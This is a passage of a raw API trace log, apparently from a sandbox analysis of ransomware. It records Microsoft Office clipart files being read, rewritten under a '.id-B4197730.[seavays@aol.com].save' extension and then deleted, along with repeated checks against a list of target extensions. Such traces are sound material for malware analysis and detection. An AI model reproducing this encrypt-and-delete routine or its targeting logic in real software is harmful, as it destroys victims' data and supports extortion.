lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0xe20, lpOverlapped=0x0) returned 1 [0071.825] WriteFile (in: hFile=0x310, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xe30, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xe30, lpOverlapped=0x0) returned 1 [0071.826] ReadFile (in: hFile=0x378, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0071.826] WriteFile (in: hFile=0x310, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0071.826] SetEndOfFile (hFile=0x310) returned 1 [0071.826] CloseHandle (hObject=0x310) returned 1 [0071.826] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0071.827] SetEndOfFile (hFile=0x378) returned 1 [0071.828] CloseHandle (hObject=0x378) returned 1 [0071.828] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0071.828] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf")) returned 1 [0071.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0071.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0071.828] lstrlenW (lpString=".doc") returned 4 [0071.828] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0071.829] lstrlenW (lpString=".docx") returned 5 [0071.829] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0071.829] lstrlenW (lpString=".pdf") returned 4 [0071.829] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0071.829] lstrlenW (lpString=".xls") returned 4 [0071.829] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0071.829] lstrlenW (lpString=".xlsx") returned 5 [0071.829] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0071.829] lstrlenW (lpString=".ppt") returned 4 [0071.829] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0071.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0071.829] lstrlenW (lpString=".zip") returned 4 [0071.829] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0071.829] lstrlenW (lpString=".rar") returned 4 [0071.829] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0071.829] lstrlenW (lpString=".bz2") returned 4 [0071.829] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0071.829] lstrlenW (lpString=".7z") returned 3 [0071.829] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0071.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0071.829] lstrlenW (lpString=".dbf") returned 4 [0071.829] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0071.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0071.829] lstrlenW (lpString=".1cd") returned 4 [0071.829] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0071.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0071.829] lstrlenW (lpString=".jpg") returned 4 [0071.829] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0071.830] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0071.830] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0071.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0071.831] GetLastError () returned 0x0 [0071.831] ReadFile (in: hFile=0x378, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x85c, lpOverlapped=0x0) returned 1 [0072.300] WriteFile (in: hFile=0x310, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x860, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x860, lpOverlapped=0x0) returned 1 [0072.301] ReadFile (in: hFile=0x378, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0072.301] WriteFile (in: hFile=0x310, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0072.301] SetEndOfFile (hFile=0x310) returned 1 [0072.302] CloseHandle (hObject=0x310) returned 1 [0072.302] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0072.302] SetEndOfFile (hFile=0x378) returned 1 [0072.303] CloseHandle (hObject=0x378) returned 1 [0072.303] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0072.304] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf")) returned 1 [0072.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0072.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0072.304] lstrlenW (lpString=".doc") returned 4 [0072.304] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0072.304] lstrlenW (lpString=".docx") returned 5 [0072.304] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0072.304] lstrlenW (lpString=".pdf") returned 4 [0072.304] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0072.304] lstrlenW (lpString=".xls") returned 4 [0072.304] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0072.305] lstrlenW (lpString=".xlsx") returned 5 [0072.305] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0072.305] lstrlenW (lpString=".ppt") returned 4 [0072.305] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0072.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0072.305] lstrlenW (lpString=".zip") returned 4 [0072.305] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0072.305] lstrlenW (lpString=".rar") returned 4 [0072.305] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0072.305] lstrlenW (lpString=".bz2") returned 4 [0072.305] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0072.305] lstrlenW (lpString=".7z") returned 3 [0072.305] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0072.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0072.305] lstrlenW (lpString=".dbf") returned 4 [0072.305] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0072.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0072.305] lstrlenW (lpString=".1cd") returned 4 [0072.305] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0072.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0072.305] lstrlenW (lpString=".jpg") returned 4 [0072.305] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0072.306] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0072.306] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0072.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0072.307] GetLastError () returned 0x0 [0072.307] ReadFile (in: hFile=0x378, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x964, lpOverlapped=0x0) returned 1 [0072.309] WriteFile (in: hFile=0x310, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x970, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x970, lpOverlapped=0x0) returned 1 [0072.310] ReadFile (in: hFile=0x378, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0072.310] WriteFile (in: hFile=0x310, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0072.311] SetEndOfFile (hFile=0x310) returned 1 [0072.311] CloseHandle (hObject=0x310) returned 1 [0072.311] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0072.311] SetEndOfFile (hFile=0x378) returned 1 [0072.312] CloseHandle (hObject=0x378) returned 1 [0072.312] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0072.312] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf")) returned 1 [0072.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0072.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0072.313] lstrlenW (lpString=".doc") returned 4 [0072.313] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0072.313] lstrlenW (lpString=".docx") returned 5 [0072.313] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0072.313] lstrlenW (lpString=".pdf") returned 4 [0072.313] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0072.313] lstrlenW (lpString=".xls") returned 4 [0072.313] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0072.313] lstrlenW (lpString=".xlsx") returned 5 [0072.313] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0072.313] lstrlenW (lpString=".ppt") returned 4 [0072.313] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0072.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0072.313] lstrlenW (lpString=".zip") returned 4 [0072.313] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0072.313] lstrlenW (lpString=".rar") returned 4 [0072.313] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0072.313] lstrlenW (lpString=".bz2") returned 4 [0072.314] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0072.314] lstrlenW (lpString=".7z") returned 3 [0072.314] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0072.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0072.314] lstrlenW (lpString=".dbf") returned 4 [0072.314] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0072.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0072.314] lstrlenW (lpString=".1cd") returned 4 [0072.314] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0072.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0072.314] lstrlenW (lpString=".jpg") returned 4 [0072.314] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0072.314] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0072.315] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0072.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0072.315] GetLastError () returned 0x0 [0072.316] ReadFile (in: hFile=0x378, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x804, lpOverlapped=0x0) returned 1 [0072.317] WriteFile (in: hFile=0x310, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x810, lpOverlapped=0x0) returned 1 [0072.319] ReadFile (in: hFile=0x378, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0072.319] WriteFile (in: hFile=0x310, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0072.319] SetEndOfFile (hFile=0x310) returned 1 [0072.320] CloseHandle (hObject=0x310) returned 1 [0072.320] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0072.320] SetEndOfFile (hFile=0x378) returned 1 [0072.321] CloseHandle (hObject=0x378) returned 1 [0072.321] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0072.321] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf")) returned 1 [0072.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0072.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0072.322] lstrlenW (lpString=".doc") returned 4 [0072.322] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0072.322] lstrlenW (lpString=".docx") returned 5 [0072.322] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0072.322] lstrlenW (lpString=".pdf") returned 4 [0072.322] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0072.322] lstrlenW (lpString=".xls") returned 4 [0072.322] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0072.322] lstrlenW (lpString=".xlsx") returned 5 [0072.322] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0072.322] lstrlenW (lpString=".ppt") returned 4 [0072.322] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0072.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0072.322] lstrlenW (lpString=".zip") returned 4 [0072.322] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0072.322] lstrlenW (lpString=".rar") returned 4 [0072.322] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0072.323] lstrlenW (lpString=".bz2") returned 4 [0072.323] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0072.323] lstrlenW (lpString=".7z") returned 3 [0072.323] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0072.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0072.323] lstrlenW (lpString=".dbf") returned 4 [0072.323] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0072.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0072.323] lstrlenW (lpString=".1cd") returned 4 [0072.323] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0072.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0072.323] lstrlenW (lpString=".jpg") returned 4 [0072.323] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0072.324] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0072.324] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0072.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0072.325] GetLastError () returned 0x0 [0072.325] ReadFile (in: hFile=0x378, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x8b8, lpOverlapped=0x0) returned 1 [0072.327] WriteFile (in: hFile=0x310, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x8c0, lpOverlapped=0x0) returned 1 [0072.328] ReadFile (in: hFile=0x378, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0072.328] WriteFile (in: hFile=0x310, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0072.328] SetEndOfFile (hFile=0x310) returned 1 [0072.333] CloseHandle (hObject=0x310) returned 1 [0072.333] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0072.333] SetEndOfFile (hFile=0x378) returned 1 [0072.334] CloseHandle (hObject=0x378) returned 1 [0072.334] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0072.334] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf")) returned 1 [0072.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0072.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0072.335] lstrlenW (lpString=".doc") returned 4 [0072.335] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0072.335] lstrlenW (lpString=".docx") returned 5 [0072.335] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0072.335] lstrlenW (lpString=".pdf") returned 4 [0072.335] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0072.335] lstrlenW (lpString=".xls") returned 4 [0072.335] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0072.335] lstrlenW (lpString=".xlsx") returned 5 [0072.335] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0072.335] lstrlenW (lpString=".ppt") returned 4 [0072.335] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0072.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0072.336] lstrlenW (lpString=".zip") returned 4 [0072.336] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0072.336] lstrlenW (lpString=".rar") returned 4 [0072.336] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0072.336] lstrlenW (lpString=".bz2") returned 4 [0072.336] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0072.336] lstrlenW (lpString=".7z") returned 3 [0072.336] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0072.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0072.336] lstrlenW (lpString=".dbf") returned 4 [0072.336] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0072.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0072.336] lstrlenW (lpString=".1cd") returned 4 [0072.336] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0072.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0072.336] lstrlenW (lpString=".jpg") returned 4 [0072.336] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0072.818] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0072.818] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0072.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0072.818] GetLastError () returned 0x0 [0072.818] ReadFile (in: hFile=0x2e8, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x70c, lpOverlapped=0x0) returned 1 [0072.820] WriteFile (in: hFile=0x2f8, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x710, lpOverlapped=0x0) returned 1 [0072.821] ReadFile (in: hFile=0x2e8, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0072.821] WriteFile (in: hFile=0x2f8, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0072.821] SetEndOfFile (hFile=0x2f8) returned 1 [0072.821] CloseHandle (hObject=0x2f8) returned 1 [0072.822] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0072.822] SetEndOfFile (hFile=0x2e8) returned 1 [0072.822] CloseHandle (hObject=0x2e8) returned 1 [0072.822] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0072.823] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf")) returned 1 [0072.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0072.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0072.823] lstrlenW (lpString=".doc") returned 4 [0072.823] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0072.823] lstrlenW (lpString=".docx") returned 5 [0072.823] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0072.823] lstrlenW (lpString=".pdf") returned 4 